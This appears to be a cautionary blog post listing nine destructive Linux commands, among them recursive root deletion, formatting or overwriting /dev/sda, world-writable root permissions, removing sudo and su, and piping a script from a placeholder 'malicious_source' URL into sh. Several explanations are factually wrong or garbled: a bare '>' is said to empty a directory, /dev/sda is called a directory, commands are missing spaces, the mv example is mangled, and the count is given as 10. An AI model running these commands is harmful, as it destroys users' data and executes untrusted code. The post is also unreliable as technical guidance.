9 Linux Destructive Commands You Should Never Run

There are different commands used to manage the Linux distributions. Some Linux distributions do not come with a desktop environment, whereas other comes with a desktop environment, but all the distributions can be managed using the command-line interface.

This blog provides the commands which can cause fatal changes to your Linux Operating system.

9 Destructive Linux Commands

The commands explained below should never be run in the terminal.

1. rm –rf/ command

The rm command removes the files from Ubuntu:

$ rm -rf/

Different options used in the above command is explained below:

  • -r option is used to recursively remove the files(until all the files are deleted)
  • f option is used to remove the files forcefully
  • The / symbol is used to delete all the content of the root directly.

However, the * symbol is used to delete everything from the current working directory.

$ rm -rf*

2. mkfs.ext3 /dev/sda

Mkfs is a filesystem used to create a new file system ext2, ext3, and  ext4 on a storage device. When this command is executed, it formats the partition and creates a new file system.

All the data is stored in /dev/sda, when the partition is created. It will delete all the configuration files, making the computer irrecoverable.

$ mkfs.ext3 /dev/sda

3. dd if=/dev/random of =/dev/sda

This command deletes all the data from the /dev/sda directory and overwrites it with the garbage data. It will cause the computer to behave like an abnormal machine.

$ dd if=/dev/random of =/dev/sda

4. chmod –R 777/

We know that the chmod changes the access permissions of files and directories, whereas 777 allows everyone to read, write and execute the mentioned files. If / is used, it assigns all the permissions to the root directory, which can cause security vulnerabilities.

$ chmod -R 777/

5. wget http://malicious_source – O- | sh

The wget command is used to download different files from the websites. If this command is executed along with the sh command and some malicious source is attached, it will download the scripts from the malicious source and run it.

$ wget http://malicious_source – O- | sh

So, make sure to attach a trusted url to avoid and security breach.

6. echo “hey” > /dev/sda

It will delete all the configuration and boot-related files from the /dev/sda and overwrite it with “hey”.

$ echo “hey” > /dev/sda

7. mv ~ /dev/null

This command is used to move the contents to the  /dev/null directory. And whatever is moved to the /dev/null directory is discarded from the system permanently. For example, if we run the command mentioned below, it will delete everything stored in the home directory:

$ mv /home/user/* /dev/nullmv ~ “hey” /dev/null

8. rm –f /usr/bin/sudo;rm –f /bin/su

This command removes the sudo and su commands used to run the administrative commands. This will disable the user from performing administrative tasks.

$ rm –f /usr/bin/sudo;rm –f /bin/su

9.  > command

The “>” command deletes all the contents of the present working directory and makes it blank. This may cause users to lose their important data as well as the configuration files of Linux.

$ >

These were all the commands that must be avoided on the Linux system.

Conclusion

10 commands that can be destructive to Linux OS are explained in this blog, and users should avoid running these commands. If a user tries to run any of the commands provided in this blog, he/she may lead to an irreversible crash of the Linux Operating system.

Over 500 Million Views on Our Blogs and YouTube! We’re inviting 10 businesses to partner with us and grow together. Click here to join us! ×